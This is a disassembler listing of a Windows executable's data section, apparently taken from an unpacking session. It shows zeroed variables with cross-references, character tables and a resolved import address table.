dword_4E40E4 dd 0 ; DATA XREF: sub_413FFA+32Fw
byte_4E40E8 db 0 ; DATA XREF: sub_413FFA+335w
byte_4E40E9 db 0 ; DATA XREF: sub_413FFA+33Bw
word_4E40EA dw 0 ; DATA XREF: sub_413FFA+348w
dword_4E40EC dd 7 dup(0) ; DATA XREF: sub_413FFA+3E1o
dword_4E4108 dd 0 ; DATA XREF: sub_413FFA+30w
; sub_413FFA+42Fr
dword_4E410C dd 0Dh dup(0) ; DATA XREF: sub_413FFA+1C0o
; sub_413FFA+472o
db 3 dup(0)
byte_4E4143 db 0 ; DATA XREF: .nsp0:0045206Co
dd 2 dup(0)
dword_4E414C dd 0 ; DATA XREF: .nsp0:off_451070o
dword_4E4150 dd 0F0h dup(0) ; DATA XREF: .nsp0:00452148o
dword_4E4510 dd 10Dh dup(0) ; DATA XREF: sub_41458A+1Do
; .nsp0:00414674o ...
db 2 dup(0)
word_4E4946 dw 0 ; DATA XREF: .nsp0:00451EACo
; .nsp0:00451EB4o
dd 27Fh dup(0)
db 0
byte_4E5345 db 3 dup(0) ; DATA XREF: .nsp0:00452038o
dd 0C72h dup(0)
dword_4E8510 dd 18h dup(0) ; DATA XREF: sub_41458A+13o
; .nsp0:004146BBo ...
dword_4E8570 dd 0 ; DATA XREF: sub_414A1D+431o
dword_4E8574 dd 0Fh dup(0) ; DATA XREF: sub_414F46+Fo
dword_4E85B0 dd 0 ; DATA XREF: sub_415497+22w
; sub_415497:loc_415619w ...
dword_4E85B4 dd 0 ; DATA XREF: sub_401CC1+371Ao
; sub_415357+12o ...
dd 0
dword_4E85BC dd 0 ; DATA XREF: sub_415497+1Cr
; sub_415639+3Ar
dd 7Fh dup(0)
dword_4E87BC dd 0 ; DATA XREF: sub_415497+28r
; sub_415639+4Aw
dd 1944h dup(0)
dword_4EECD0 dd 0 ; DATA XREF: sub_415639+23o
dword_4EECD4 dd 0 ; DATA XREF: sub_401CC1+373Eo
; sub_415357+3Co ...
dword_4EECD8 dd 0 ; DATA XREF: .nsp0:0044EBE0o
dword_4EECDC dd 0 ; DATA XREF: .nsp0:0044EBE8o
dword_4EECE0 dd 0 ; DATA XREF: .nsp0:0044EBECo
dword_4EECE4 dd 0 ; DATA XREF: .nsp0:0044EBF0o
dword_4EECE8 dd 0 ; DATA XREF: .nsp0:0044EBF4o
dword_4EECEC dd 0 ; DATA XREF: .nsp0:0044EC10o
dword_4EECF0 dd 0 ; DATA XREF: .nsp0:0044EC18o
dword_4EECF4 dd 0 ; DATA XREF: .nsp0:0044EC1Co
dword_4EECF8 dd 0 ; DATA XREF: .nsp0:0044EC28o
dword_4EECFC dd 0 ; DATA XREF: .nsp0:0044EC2Co
dword_4EED00 dd 0 ; DATA XREF: .nsp0:0044EC34o
dword_4EED04 dd 81h dup(0) ; DATA XREF: sub_415ECC+6Ao
dword_4EEF08 dd 0 ; DATA XREF: sub_41615A+E9o
dword_4EEF0C dd 17h dup(0) ; DATA XREF: sub_41671B:loc_416838o
; sub_41671B+131o ...
dword_4EEF68 dd 80h dup(0) ; DATA XREF: sub_4174B4+7Co
; sub_4174B4+A5o
dword_4EF168 dd 0 ; DATA XREF: sub_416A95+45w
; sub_416A95+4Dr ...
dword_4EF16C dd 17h dup(0) ; DATA XREF: sub_417380:loc_4174A2o
; sub_417380+12Do
dword_4EF1C8 dd 80h dup(0) ; DATA XREF: sub_4169D6+4Bo
; sub_4169D6+7Do ...
byte_4EF3C8 db 0 ; DATA XREF: sub_416A95+29r
; sub_416A95+34w
align 4
dword_4EF3CC dd 80h dup(0) ; DATA XREF: sub_416CEC+61o
; sub_416CEC+88o ...
dword_4EF5CC dd 81h dup(0) ; DATA XREF: sub_4165F2+33o
; sub_4165F2+50o ...
dword_4EF7D0 dd 0 ; DATA XREF: sub_417955:loc_417976r
; sub_417A44+54r ...
dword_4EF7D4 dd 0 ; DATA XREF: sub_417955r
; sub_417A44+37r ...
dword_4EF7D8 dd 0 ; DATA XREF: sub_417985+1Ar
; sub_417B99+83o
dword_4EF7DC dd 0 ; DATA XREF: sub_417955:loc_417969r
; sub_417B99+11Bw
dword_4EF7E0 dd 0Dh dup(0) ; DATA XREF: sub_417A44+13o
; sub_417B99:loc_417CDAo
dword_4EF814 dd 0 ; DATA XREF: sub_417A44+CDr
; sub_417A44+ECr ...
dd 0
dword_4EF81C dd 0 ; DATA XREF: sub_4179BD+9o
dword_4EF820 dd 0 ; DATA XREF: sub_417B99+DFo
dword_4EF824 dd 0 ; DATA XREF: sub_417B99:loc_417CD5o
dword_4EF828 dd 0Eh dup(0) ; DATA XREF: sub_4187BE+47o
dword_4EF860 dd 0 ; DATA XREF: sub_41897B+13o
dword_4EF864 dd 9D0F60h ; DATA XREF: sub_418FC0+262w
; sub_4193C0:loc_4197FBr ...
dword_4EF868 dd 1545h ; DATA XREF: sub_418FC0:loc_4191D3r
; sub_418FC0+21Cw ...
dword_4EF86C dd 956660h ; DATA XREF: sub_418FC0:loc_419209r
; sub_418FC0+252r ...
dword_4EF870 dd 118Ah ; DATA XREF: sub_418FC0+222r
; sub_418FC0+22Aw ...
dword_4EF874 dd 118Ah ; DATA XREF: sub_418FC0+235r
; sub_418FC0+243w ...
dword_4EF878 dd 0 ; DATA XREF: sub_42C3D0+217r
dword_4EF87C dd 0A28h ; DATA XREF: sub_41A4F0:loc_41A546r
; .nsp0:0041E9ECw ...
dword_4EF880 dd 501h ; DATA XREF: .nsp0:0041EA24w
dword_4EF884 dd 5 ; DATA XREF: .nsp0:0041EA0Fw
; .nsp0:0041EA15r
dword_4EF888 dd 1 ; DATA XREF: .nsp0:0041E9FEw
; .nsp0:0041EA1Er
dword_4EF88C dd 1 ; DATA XREF: sub_40141B:loc_40170Dr
; sub_429EE0+C6w
dword_4EF890 dd 9D0B00h ; DATA XREF: sub_40141B+2FBr
; sub_40141B+31Br ...
align 8
dword_4EF898 dd 9D0A60h ; DATA XREF: sub_429D90+7Bw
; sub_429D90+81r ...
dword_4EF89C dd 0 ; DATA XREF: sub_434E10+49r
dword_4EF8A0 dd 0 ; DATA XREF: sub_4323B0+24r
; sub_4345C0+6r ...
align 8
off_4EF8A8 dd offset aCM_unpackerPac ; DATA XREF: sub_429EE0+26w
; sub_429EE0+3Cr
; "C:\\m_unpacker\\packed.exe"
align 10h
byte_4EF8B0 db 0 ; DATA XREF: sub_41B600+30w
; sub_41ECC0+8r
align 4
dword_4EF8B4 dd 0 ; DATA XREF: sub_41B600:loc_41B623w
dword_4EF8B8 dd 0 ; DATA XREF: sub_41B600+9r
; sub_41B600:loc_41B6CBw
dword_4EF8BC dd 0 ; DATA XREF: sub_41B600+95r
; sub_41B600+AFw
dword_4EF8C0 dd 0 ; DATA XREF: .nsp0:0041CEA4r
; .nsp0:0041CEAFw
dword_4EF8C4 dd 0 ; DATA XREF: sub_41CE10+10w
dword_4EF8C8 dd 0 ; DATA XREF: sub_41DA60+88r
; sub_41DA60+F8w
align 10h
dword_4EF8D0 dd 0 ; DATA XREF: sub_41DA60+7Dr
; sub_41DA60+100w ...
byte_4EF8D4 db 2 dup(0) ; DATA XREF: sub_41DA60+109w
word_4EF8D6 dw 0 ; DATA XREF: sub_41DA60+52r
dword_4EF8D8 dd 0 ; DATA XREF: sub_41DA60+3Dr
; sub_41DA60+112w ...
dword_4EF8DC dd 0 ; DATA XREF: sub_41DA60+11Aw
dword_4EF8E0 dd 0 ; DATA XREF: .nsp0:0041EA83w
; sub_429D90+1Br ...
align 8
dword_4EF8E8 dd 0 ; DATA XREF: sub_41EB30+3r
; sub_41EB60+3r ...
dword_4EF8EC dd 0 ; DATA XREF: sub_4225E0:loc_4228A5r
; sub_4225E0+2CEw ...
dword_4EF8F0 dd 0 ; DATA XREF: sub_41EED0+93r
; sub_41EED0+C8w ...
dword_4EF8F4 dd 0 ; DATA XREF: sub_418ED0+9r
; sub_418EF0+Fr ...
dword_4EF8F8 dd 0 ; DATA XREF: .nsp0:0041F9FEr
; .nsp0:0041FA09w ...
align 10h
dword_4EF900 dd 143F28h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .nsp0:off_4513D4o
dword_4EF918 dd 143EB0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .nsp0:off_451414o
dword_4EF930 dd 143F00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .nsp0:off_4513F4o
dword_4EF948 dd 143ED8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .nsp0:off_451404o
dword_4EF960 dd 1 ; DATA XREF: sub_423EC0:loc_4241D2r
; sub_424210+3w ...
dword_4EF964 dd 0 ; DATA XREF: sub_424AA0+A6r
; sub_424AA0+C9w ...
dd 0
dword_4EF96C dd 0 ; DATA XREF: sub_41DBF0+Co
; sub_428C90+82r ...
dd 0
dword_4EF974 dd 0 ; DATA XREF: sub_41E550+4r
; sub_41E5F0+6r ...
dword_4EF978 dd 0 ; DATA XREF: sub_42F510+4r
dword_4EF97C dd 0 ; DATA XREF: sub_42F1E0+18r
dword_4EF980 dd 0 ; DATA XREF: sub_42E860+4r
dword_4EF984 dd 0 ; DATA XREF: sub_41E7D0+B9r
; sub_41E7D0+16Cr ...
dword_4EF988 dd 0 ; DATA XREF: sub_428C90+11Fw
dword_4EF98C dd 0 ; DATA XREF: sub_428F30+C7o
; sub_428F30+140o
word_4EF990 dw 0 ; DATA XREF: sub_428F30+E8r
align 4
dword_4EF994 dd 0 ; DATA XREF: sub_428F30+EFw
; sub_428F30+159o
dword_4EF998 dd 1 ; DATA XREF: sub_429750+26r
; sub_429750+4Bw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_429EE0+19o
; sub_429EE0+26o ...
align 4
dd 3Ah dup(0)
dword_4EFAA0 dd 1 ; DATA XREF: sub_42A3F0+14r
; sub_42A3F0+2Cw ...
dword_4EFAA4 dd 0 ; DATA XREF: sub_42AAC0+2Br
; sub_42AAC0+34r
dword_4EFAA8 dd 0 ; DATA XREF: .nsp0:loc_42B1A6r
; .nsp0:0042B1B2w ...
dword_4EFAAC dd 0 ; DATA XREF: .nsp0:loc_42B1BAr
; .nsp0:0042B1C5w ...
dword_4EFAB0 dd 0 ; DATA XREF: .nsp0:loc_42B1CDr
; .nsp0:0042B1D9w ...
dword_4EFAB4 dd 0 ; DATA XREF: .nsp0:loc_42B1E0r
; .nsp0:0042B1ECw ...
dword_4EFAB8 dd 0 ; DATA XREF: .nsp0:loc_42B13Ar
; .nsp0:0042B155w
dword_4EFABC dd 0 ; DATA XREF: sub_42B680+Dr
; sub_42B680+39w ...
dword_4EFAC0 dd 0 ; DATA XREF: sub_42B680+5Aw
; sub_42B680:loc_42B6F3r ...
dword_4EFAC4 dd 0 ; DATA XREF: sub_42B680+6Ew
; sub_42B680+8Br ...
dword_4EFAC8 dd 1 ; DATA XREF: sub_42C100+26r
; sub_42C100+46w ...
dword_4EFACC dd 0 ; DATA XREF: sub_4225E0+9r
dword_4EFAD0 dd 77C26E79h ; DATA XREF: sub_42DDD0:loc_42DDFEr
; sub_42DDD0+37r ...
align 8
dword_4EFAD8 dd 0 ; DATA XREF: sub_42DF80+17w
; sub_42DF80+6Dw ...
align 10h
dword_4EFAE0 dd 0 ; DATA XREF: sub_42DF80+59o
; sub_42DF80+77r
dword_4EFAE4 dd 10h dup(0) ; DATA XREF: sub_42DF80+103o
word_4EFB24 dw 0 ; DATA XREF: sub_42E360+FCr
word_4EFB26 dw 0 ; DATA XREF: sub_42DF80+88r
; sub_42E360+145r ...
word_4EFB28 dw 0 ; DATA XREF: sub_42E360+132r
word_4EFB2A dw 0 ; DATA XREF: sub_42E360+13Br
; sub_42E360+18Br
word_4EFB2C dw 0 ; DATA XREF: sub_42E360+126r
; sub_42E360+181r
word_4EFB2E dw 0 ; DATA XREF: sub_42E360+11Cr
; sub_42E360+177r
word_4EFB30 dw 0 ; DATA XREF: sub_42E360+113r
; sub_42E360+16Er
word_4EFB32 dw 0 ; DATA XREF: sub_42E360+109r
; sub_42E360+164r
dword_4EFB34 dd 0 ; DATA XREF: sub_42DF80+93r
; sub_42DF80+CEr
dword_4EFB38 dd 10h dup(0) ; DATA XREF: sub_42DF80+149o
word_4EFB78 dw 0 ; DATA XREF: sub_42E360+43r
word_4EFB7A dw 0 ; DATA XREF: sub_42DF80+ABr
; sub_42E360+8Cr ...
word_4EFB7C dw 0 ; DATA XREF: sub_42E360+79r
word_4EFB7E dw 0 ; DATA XREF: sub_42E360+82r
; sub_42E360+D2r
word_4EFB80 dw 0 ; DATA XREF: sub_42E360+6Dr
; sub_42E360+C8r
word_4EFB82 dw 0 ; DATA XREF: sub_42E360+63r
; sub_42E360+BEr
word_4EFB84 dw 0 ; DATA XREF: sub_42E360+5Ar
; sub_42E360+B5r
word_4EFB86 dw 0 ; DATA XREF: sub_42E360+50r
; sub_42E360+ABr
dword_4EFB88 dd 0 ; DATA XREF: sub_42DF80+B6r
; sub_42DF80+C9r
dword_4EFB8C dd 0 ; DATA XREF: sub_42DF80+18Dr
; sub_42DF80+196r ...
dword_4EFB90 dd 0 ; DATA XREF: sub_42DF20+3r
; sub_42DF20+16r ...
dword_4EFB94 dd 0 ; DATA XREF: sub_42E860+75r
; sub_42E860+86r ...
dword_4EFB98 dd 0 ; DATA XREF: sub_42F1E0+25o
; sub_42F1E0+93r ...
dword_4EFB9C dd 0 ; DATA XREF: sub_42F1E0+42o
; sub_42F1E0+A3r ...
dword_4EFBA0 dd 0 ; DATA XREF: sub_42F1E0+5Fo
; sub_42F1E0+7Cr ...
dword_4EFBA4 dd 0 ; DATA XREF: sub_42F510+A0r
; sub_42F510+B1r ...
dword_4EFBA8 dd 0 ; DATA XREF: sub_42F970+2AAr
; sub_42F970+2B5r ...
dword_4EFBAC dd 0 ; DATA XREF: sub_42F970+2CCr
; sub_42F970+2D7r ...
dword_4EFBB0 dd 3 dup(0) ; DATA XREF: sub_428C90+94o
; sub_428C90+F3o
word_4EFBBC dw 0 ; DATA XREF: sub_42F970+36r
align 10h
dd 0
word_4EFBC4 dw 0 ; DATA XREF: sub_42F640+Fr
align 4
db 2 dup(0)
word_4EFBCA dw 0 ; DATA XREF: sub_42F1E0+Fr
db 2 dup(0)
word_4EFBCE dw 0 ; DATA XREF: sub_42E940+Fr
word_4EFBD0 dw 0 ; DATA XREF: sub_42E940+1Ar
align 4
dword_4EFBD4 dd 0 ; DATA XREF: sub_42FDA0+155r
; sub_42FDA0+176r ...
dword_4EFBD8 dd 0 ; DATA XREF: sub_430030+37w
; sub_4300F0+1Br ...
dword_4EFBDC dd 0 ; DATA XREF: sub_430030+6Ew
; sub_4300F0+101r ...
dword_4EFBE0 dd 0 ; DATA XREF: sub_430030+1Aw
; sub_430030+47r ...
dword_4EFBE4 dd 0 ; DATA XREF: sub_42FDA0+45w
; sub_42FDA0+4Br ...
dword_4EFBE8 dd 0 ; DATA XREF: sub_42FDA0+7Aw
; sub_42FDA0+80r ...
dword_4EFBEC dd 0 ; DATA XREF: sub_42FDA0:loc_42FE49w
; sub_42FDA0:loc_42FEAEr ...
dword_4EFBF0 dd 0 ; DATA XREF: sub_42FDA0+182r
; sub_42FDA0+1CBr ...
dword_4EFBF4 dd 0 ; DATA XREF: sub_42FDA0+6r
; sub_42FDA0+2Cw ...
dword_4EFBF8 dd 0 ; DATA XREF: sub_42C3D0:loc_42C42Cr
byte_4EFBFC db 0 ; DATA XREF: sub_4338F0+18Fo
; sub_4338F0+1F2r ...
align 10h
dd 0
dword_4EFC04 dd 0 ; DATA XREF: sub_42F8D0+11o
; .nsp0:off_4526ACo ...
dword_4EFC08 dd 0 ; DATA XREF: sub_433B90+26r
; sub_433B90+46w ...
dword_4EFC0C dd 0 ; DATA XREF: sub_434670+26r
; sub_434670+41w ...
dword_4EFC10 dd 0 ; DATA XREF: sub_434810+26r
; sub_434810+41w ...
dword_4EFC14 dd 0 ; DATA XREF: sub_4349C0+26r
; sub_4349C0+4Bw ...
byte_4EFC18 db 0 ; DATA XREF: sub_40D359r sub_40D359+9w
align 4
dword_4EFC1C dd 0 ; DATA XREF: sub_432A70+8Fw
; sub_432A70+A4w ...
dword_4EFC20 dd 0 ; DATA XREF: sub_432C00+1C4w
; sub_432C00+1EDw ...
dd 7 dup(0)
dword_4EFC40 dd 9561C8h ; DATA XREF: sub_41EB90+EDr
; sub_41EB90+109r ...
dd 3Fh dup(0)
dword_4EFD40 dd 20h ; DATA XREF: sub_41F570+7r
; sub_422100+7r ...
dword_4EFD44 dd 0 ; DATA XREF: sub_41DBF0+5Ar
; sub_41E550+32r ...
dword_4EFD48 dd 0 ; DATA XREF: sub_41DBF0:loc_41DC43w
; sub_41DBF0:loc_41DC57w ...
dword_4EFD4C dd 4E4h ; DATA XREF: sub_423EC0+22r
; sub_423EC0+14Aw ...
word_4EFD50 dw 0 ; DATA XREF: sub_423EC0+19Aw
; sub_423EC0+2F3w ...
align 4
dd 2 dup(0)
dword_4EFD5C dd 0 ; DATA XREF: sub_423EC0+150w
; sub_423EC0+2C2w ...
byte_4EFD60 db 0 ; DATA XREF: sub_424370+1CEw
; sub_424370+21Aw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4EFE60 db 0 ; DATA XREF: sub_423EC0+ABw
; sub_423EC0+1F4w ...
byte_4EFE61 db 0 ; DATA XREF: sub_41BA10+92r
; sub_423EC0+129r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4EFF64 dd 0 ; DATA XREF: sub_423EC0+169w
; sub_423EC0+205w ...
dword_4EFF68 dd 10h ; DATA XREF: sub_4201E0+48w
; sub_420E10+9r ...
dword_4EFF6C dd 0 ; DATA XREF: sub_420300+475r
; sub_420300+4A4r ...
dword_4EFF70 dd 951E90h ; DATA XREF: sub_4201E0+2Ew
; sub_420300+5B2w ...
dword_4EFF74 dd 0 ; DATA XREF: sub_4201E0+34w
; sub_420300+468r ...
dword_4EFF78 dd 1 ; DATA XREF: .nsp0:00420133r
; sub_4201E0+3Ew ...
dword_4EFF7C dd 951E90h ; DATA XREF: .nsp0:00420116r
; .nsp0:loc_420186r ...
dword_4EFF80 dd 950000h ; DATA XREF: sub_41A4F0+76r
; sub_41FCA0+5Cr ...
dword_4EFF84 dd 0 ; DATA XREF: .nsp0:0041EEB4r
; .nsp0:0041EEBFw ...
dword_4EFF88 dd 956680h ; DATA XREF: sub_41EB90+48w
; sub_41EB90+4Dr ...
dd 5 dup(0)
dword_4EFFA0 dd 400h dup(0) ; DATA XREF: .nsp0:off_451128o
; .nsp0:00451130o
dword_4F0FA0 dd 200h ; DATA XREF: sub_41EB90+4r
; sub_41EB90+Dw ...
dword_4F0FA4 dd 142340h ; DATA XREF: .nsp0:0041EA79w
; sub_429CD0:loc_429CE2r ...
dword_4F0FA8 dd 1 ; DATA XREF: sub_429D90+13Bw
; sub_4323B0+Er
dword_4F0FAC dd 1 ; DATA XREF: sub_4246A0+3r
; sub_4246A0+16w ...
dword_4F0FB0 dd 9D00B0h ; DATA XREF: sub_41B600+45r
; sub_41D930+19r ...
dword_4F0FB4 dd 9D00B0h ; DATA XREF: sub_41B600+3Cr
; sub_41B600+5Ar ...
dword_4F0FB8 dd 0 ; DATA XREF: .nsp0:0041A674r
; .nsp0:0041A67Fw ...
byte_4F0FBC db 0 ; DATA XREF: sub_4357D0+5r
; sub_4357D0+11r ...
align 10h
dd 10h dup(0)
dd 0F1258h, 2 dup(0)
dd 0F153Eh, 0F14C4h, 0F1260h, 2 dup(0)
dd 0F1554h, 0F14CCh, 0F1050h, 2 dup(0)
dd 0F1E94h, 0F12BCh, 5 dup(0)
dd 77E6D75Bh, 77E6BD68h, 77E77F2Eh, 77E762D0h, 77E78723h
dd 77E70192h, 77E79C94h, 77E6363Bh, 77E75243h, 77E752B8h
dd 77E7176Ch, 77E7C9E7h, 77E7C866h, 77E641EBh, 77E73FF9h
dd 77E7FF2Eh, 77E78406h, 77E7C931h, 77E77EE1h, 77E67702h
dd 77E7C9E1h, 77E9C5B1h, 77EB9A84h, 77E781F9h, 77E77405h
dd 77E75CB5h, 77E77963h, 77E61BB8h, 77E7A099h, 77E704FCh
dd 77E61BE6h, 77E7AC37h, 77E73628h, 77E706B7h, 77E80656h
dd 77F5157Dh, 77E6BD13h, 77E70396h, 77E74CABh, 77E79F93h
dd 77E79D5Bh, 77E7C2C4h, 77E7751Ah, 77E75CEBh, 77E6AD34h
dd 77E71AFEh, 77E805D8h, 77E7A5FDh, 77E65F4Ch, 77E7513Ch
dd 77E7C657h, 77E73C49h, 77F7E300h, 77F7E21Fh, 77E7C706h
dd 77F53275h, 77E79D8Ch, 77E737DEh, 77E78B82h, 77E7A837h
dd 77E616B4h, 77E79CE3h, 77E79C90h, 77E7727Ah, 77E64106h
dd 77E64006h, 77E793EFh, 77E78EAAh, 77E79424h, 77E794BFh
dd 77E75E67h, 77E75D9Eh, 77E78C81h, 77E76968h, 77E74C59h
dd 77EC7C51h, 77E802FCh, 77E70F89h, 77E76A60h, 77E71B14h
dd 77E7166Fh, 77E75090h, 77E74D76h, 77E77797h, 77E7011Ah
dd 77E73CE2h, 77E668D9h, 77E80618h, 77E79924h, 77E77CCEh
dd 77E76A2Eh, 77E7FF65h, 77EB7624h, 77E6C29Dh, 77E76C1Ah
dd 77E73196h, 77E7339Ch, 77E6C924h, 77F6183Eh, 77E76E3Dh
dd 77E61608h, 77E778C5h, 77E777EFh, 77E6177Ah, 77E7C938h
dd 77E7C486h, 77EB36A5h, 77E79C3Dh, 77E9BD34h, 77E79908h
dd 77EB8503h, 77F516F8h, 77F5722Fh, 77F51597h, 77E76E0Bh
dd 77E7C726h, 77E79E34h, 77E7980Ah, 77E77CC4h, 77E79B39h
dd 77E7C5B4h, 77E72B29h, 77F51587h, 77E78B61h, 77E73163h
dd 77E7849Fh, 77E7A13Fh, 77E6C703h, 77E6D706h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB4122h, 71AB1746h, 71AB401Ch, 71AB1836h, 71AB41DAh
dd 71AB3F8Dh, 71AB155Ah, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
dd 71AB5A01h, 71AB12F8h, 71AB1746h, 71AB3E5Dh, 71AB5690h
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 71AB2BBFh, 0
dword_4F12BC dd 77E6D75Bh ; DATA XREF: sub_411ED9+182r
; sub_412C36+FFr ...
dword_4F12C0 dd 77E6BD68h ; DATA XREF: sub_434E10+2C5r
; .nsp0:00435BB0r
dword_4F12C4 dd 77E77F2Eh ; DATA XREF: sub_4349C0+41r
; sub_4349C0+3DAr ...
dword_4F12C8 dd 77E762D0h ; DATA XREF: sub_4349C0+69r
; sub_4349C0+D9r ...
dword_4F12CC dd 77E78723h ; DATA XREF: sub_434670+37r
; sub_434670+8Br ...
dword_4F12D0 dd 77E70192h ; DATA XREF: sub_430DB0+1D8r
; .nsp0:00435B98r
dword_4F12D4 dd 77E79C94h ; DATA XREF: sub_4306C0+12r
; .nsp0:00435B92r
dword_4F12D8 dd 77E6363Bh ; DATA XREF: sub_430030+7Ar
; sub_430420+53r ...
dword_4F12DC dd 77E75243h ; DATA XREF: sub_42FDA0+142r
; .nsp0:00435B86r
dword_4F12E0 dd 77E752B8h ; DATA XREF: sub_42FDA0+15Cr
; .nsp0:00435B80r
dword_4F12E4 dd 77E7176Ch ; DATA XREF: sub_42DED0+Fr
; .nsp0:00435B7Ar
dword_4F12E8 dd 77E7C9E7h ; DATA XREF: sub_42DE30+8r
; sub_42DE50+9r ...
dword_4F12EC dd 77E7C866h ; DATA XREF: sub_42C100+3Cr
; sub_42C100+19Er ...
dword_4F12F0 dd 77E641EBh ; DATA XREF: sub_42C100+61r
; sub_42C100+AAr ...
dword_4F12F4 dd 77E73FF9h ; DATA XREF: sub_42BD10+7Fr
; .nsp0:00435B62r
dword_4F12F8 dd 77E7FF2Eh ; DATA XREF: sub_42B930+58r
; sub_42B930+66r ...
dword_4F12FC dd 77E78406h ; DATA XREF: sub_42A610+1E6r
; sub_42A610+29Br ...
dword_4F1300 dd 77E7C931h ; DATA XREF: sub_42A610+31Ar
; .nsp0:00435B50r
dword_4F1304 dd 77E77EE1h ; DATA XREF: sub_42A3F0+1Dr
; sub_42A3F0+6Dr ...
dword_4F1308 dd 77E67702h ; DATA XREF: sub_42A3F0:loc_42A428r
; sub_42A3F0+171r ...
dword_4F130C dd 77E7C9E1h ; DATA XREF: sub_42A3F0+108r
; sub_42A3F0+150r ...
dword_4F1310 dd 77E9C5B1h ; DATA XREF: sub_42A3F0+1E6r
; sub_42A3F0+208r ...
dword_4F1314 dd 77EB9A84h ; DATA XREF: sub_429AB0+37r
; .nsp0:00435B32r
dword_4F1318 dd 77E781F9h ; DATA XREF: sub_429750+41r
; sub_429750+1A5r ...
dword_4F131C dd 77E77405h ; DATA XREF: sub_429750+69r
; sub_429750+C0r ...
dword_4F1320 dd 77E75CB5h ; DATA XREF: sub_401317+DFr
; sub_40141B+7Ar ...
dword_4F1324 dd 77E77963h ; DATA XREF: sub_401317+B8r
; sub_40141B+2D8r ...
dword_4F1328 dd 77E61BB8h ; DATA XREF: sub_401317+A7r
; sub_40141B+2C0r ...
dword_4F132C dd 77E7A099h ; DATA XREF: sub_401317+83r
; sub_40141B+DAr ...
dword_4F1330 dd 77E704FCh ; DATA XREF: sub_401317+74r
; sub_40141B+C4r ...
dword_4F1334 dd 77E61BE6h ; DATA XREF: sub_401317+29r
; sub_40141B+1F1r ...
dword_4F1338 dd 77E7AC37h ; DATA XREF: sub_40141B+3BBr
; sub_401CC1+1AC6r ...
dword_4F133C dd 77E73628h ; DATA XREF: sub_40141B+338r
; sub_401CC1+6B00r ...
dword_4F1340 dd 77E706B7h ; DATA XREF: sub_40141B+271r
; sub_4175DD+B9r ...
dword_4F1344 dd 77E80656h ; DATA XREF: sub_40141B+264r
; .nsp0:004358E6r
dword_4F1348 dd 77F5157Dh ; DATA XREF: sub_40141B+1D5r
; sub_40141B+3E0r ...
dword_4F134C dd 77E6BD13h ; DATA XREF: sub_40141B:loc_4015D3r
; .nsp0:004358F2r
dword_4F1350 dd 77E70396h ; DATA XREF: sub_40141B+1B2r
; sub_40141B+21Er ...
dword_4F1354 dd 77E74CABh ; DATA XREF: sub_40141B+19Br
; sub_40F1D3+110r ...
dword_4F1358 dd 77E79F93h ; DATA XREF: sub_40141B+D3r
; sub_408F54+2r ...
dword_4F135C dd 77E79D5Bh ; DATA XREF: sub_40141B+6Br
; sub_40141B+30Er ...
dword_4F1360 dd 77E7C2C4h ; DATA XREF: sub_40141B+64r
; .nsp0:00435910r
dword_4F1364 dd 77E7751Ah ; DATA XREF: sub_40141B+2Cr
; sub_401CC1+2095r ...
dword_4F1368 dd 77E75CEBh ; DATA XREF: sub_401CC1+6D5Dr
; sub_40A938+2Br ...
dword_4F136C dd 77E6AD34h ; DATA XREF: sub_401CC1+604Dr
; sub_41615A+35r ...
dword_4F1370 dd 77E71AFEh ; DATA XREF: sub_401CC1+5F26r
; .nsp0:00435928r
dword_4F1374 dd 77E805D8h ; DATA XREF: sub_408F54+13Ar
; sub_408F54:loc_409408r ...
dword_4F1378 dd 77E7A5FDh ; DATA XREF: sub_408F54+11r
; sub_4164D5+6Br ...
dword_4F137C dd 77E65F4Ch ; DATA XREF: .nsp0:0040A24Fr
; sub_4174B4+34r ...
dword_4F1380 dd 77E7513Ch ; DATA XREF: .nsp0:0040A2F1r
; sub_42FDA0+18r ...
dword_4F1384 dd 77E7C657h ; DATA XREF: .nsp0:0040A365r
; sub_4162E2+32r ...
dword_4F1388 dd 77E73C49h ; DATA XREF: sub_40A868+4Ar
; sub_40AFA4+1ABr ...
dword_4F138C dd 77F7E300h ; DATA XREF: sub_40B9F0+13Fr
; sub_41ED50+35r ...
dword_4F1390 dd 77F7E21Fh ; DATA XREF: sub_40B9F0+D4r
; sub_41ECE0+35r ...
dword_4F1394 dd 77E7C706h ; DATA XREF: sub_40BC04+77r
; .nsp0:0043595Er
dword_4F1398 dd 77F53275h ; DATA XREF: sub_40BC04+6Br
; sub_40BC04+22Fr ...
dword_4F139C dd 77E79D8Ch ; DATA XREF: sub_40D37E+94r
; sub_40D46C+184r ...
dword_4F13A0 dd 77E737DEh ; DATA XREF: sub_40D46C+43Dr
; .nsp0:00435970r
dword_4F13A4 dd 77E78B82h ; DATA XREF: sub_40D46C+1ACr
; sub_40D46C+49Cr ...
